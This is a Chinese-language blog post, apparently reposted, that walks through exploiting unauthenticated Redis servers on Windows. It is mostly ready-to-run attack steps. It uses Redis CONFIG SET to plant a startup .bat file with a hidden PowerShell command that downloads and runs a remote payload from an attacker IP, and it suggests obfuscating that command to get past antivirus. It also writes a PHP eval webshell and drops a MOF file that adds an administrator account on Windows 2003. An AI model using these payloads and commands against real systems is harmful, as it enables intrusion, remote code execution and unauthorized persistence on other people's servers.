0x00 原理
??首先需要知道的是,redis是一種非關系型資料庫,它在默認情況下,系結在0.0.0.0:6379 ,若不采取相關策略,比如添加防火墻限制非信任IP訪問,會使得redis服務暴露到公網,若未設定密碼認證,可導致任意用戶未授權訪問redis以及讀取redis資料, 攻擊者可利用redis自身提供的config命令進行寫檔案,可將自己的ssh公鑰寫入目標服務器 /root/.ssh檔案夾的authotrized_keys中,進而可用私鑰直接ssh登錄目標服務器,
0x01 漏洞點
- redis系結在 0.0.0.0:6379,且沒有進行添加防火墻規則避免其他非信任來源 ip 訪問等相關安全策略,直接暴露在公網,
- 沒有設定密碼認證(一般為空),可以免密碼遠程登錄redis服務,
0x02 危害
- 攻擊者無需認證訪問到內部資料,可能導致敏感資訊泄露,黑客也可以惡意執行flushall來清空所有資料.
- 攻擊者可通過EVAL執行lua代碼,或通過資料備份功能往磁盤寫入后門檔案.
- 最嚴重的情況,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰檔案,直接通過SSH登錄受害服務器
- 直接遠控目標主機
0x03 漏洞poc
??假設192.168.242.134可能存在redis未授權訪問漏洞,
一般通過nmap腳本進行掃描
- nmap -p 6379 --script redis-info 192.168.242.134

掃描后若發現主機6379埠對外開發,可認為是存在redis資料庫,如果碰巧還是默認配置為空口令,并且服務器還開放在外網,可在另一臺裝了redis資料庫的vps中 使用 ./redis-cli -h 192.168.242.134 直接遠程連接,

查看敏感資訊
- redis 192.168.242.134:6379> info

0x04 漏洞exp
0x04.1 寫入啟動項
??Linux下一般可通過設定定時任務去獲取權限,而現在我們討論的是windows下的利用,
windows啟動專案錄
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
cs上配置監聽

生成payload
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://129.x.x.x:80/a'))"
這里注意要是公網IP,或者進行內網穿透,不然可能下載不成功,
如果存在殺軟,可嘗試對powershell代碼進行代碼混淆免殺,
連接redis后配置
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
+OK
config set dbfilename 1.bat
+OK
set x “\r\n\r\npowershell.exe -nop -w hidden -c ”IEX ((new-object net.webclient).downloadstring(‘http://129.x.x.x:80/a’))”\r\n\r\n”
+OK
save
+OK
簡單解釋一下,redis通過config set 在啟動項生成了1.bat 然后在檔案里寫入了我們的powershell遠程下載shellcode執行,保存, 只要電腦重啟,1.bat就會自動運行,
0x04.2 寫入webshell
??根據上面總結的規律,我們對redis未授權漏洞利用方式一般都是通過寫檔案,然后建立目標機與我們的連接,所以如果我們知道目標網站的絕對路徑的話,完全可以通過在網站某個目錄下寫入一句話木馬,然后用webshell管理工具連接,
連接上目標redis后
192.168.1.103:6379> CONFIG SET dir c:/phpstudy_pro/WWW
OK
192.168.1.103:6379> CONFIG SET dbfilename shell.php
OK
192.168.1.103:6379> set x “php @eval($_POST['hack']) ?>”
OK
192.168.1.103:6379> save
OK
然后直接通過蟻劍進行連接即可,
0x04.3 mof提權
??mof是Windows系統的一個檔案,位于c:/windows/system32/wbem/mof/nullevt.mof
叫做托管物件格式,它的作用是每隔5秒,就會去監控行程的創建和死亡,mof提權的簡單利用程序就是,在該檔案夾下寫入一個惡意的mof檔案,其中有一段是vbs腳本,而這個vbs腳本大多數是cmd的添加管理員用戶的命令,寫入完成之后這個檔案會被服務器每隔5秒以system權限進行執行,(這個默認5秒執行一次的設定只有03及以下系統才會有)
條件
- win2003系統
mof 代碼
#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")\nWSH.run("net user admin admin /add ")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
根據圖片進行格式化

將Mof代碼保存為ceshi.txt
生成一個shell.txt 將ceshi.txt中的內容寫入shell.txt
(echo -e "nn"; cat ceshi.txt; echo -e "nn") > shell.txt
連接redis后的payload
通過管道將打開的shell.txt的讀取的資料傳到目標redis進行寫入
- cat /root/shell.txt | ./redis-cli -h 192.168.1.104 -x set x
然后在對目錄進行設定 - CONFIG SET dir C:/windows/system32/wbem/mof/
- CONFIG SET dbfilename shell.mof
- save
參考圖配置

過大約5秒后就會自動執行mof腳本,比起重啟和知道網站絕對路徑這2個條件,這個條件相對較容易實作,
執行腳本后可發現在目標主機下生成了一個新用戶,我們直接遠程連接就好,
0x05 參考鏈接
- https://blog.csdn.net/weixin_36021461/article/details/112325470
- https://www.freebuf.com/vuls/162035.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/285865.html
標籤:訊息安全
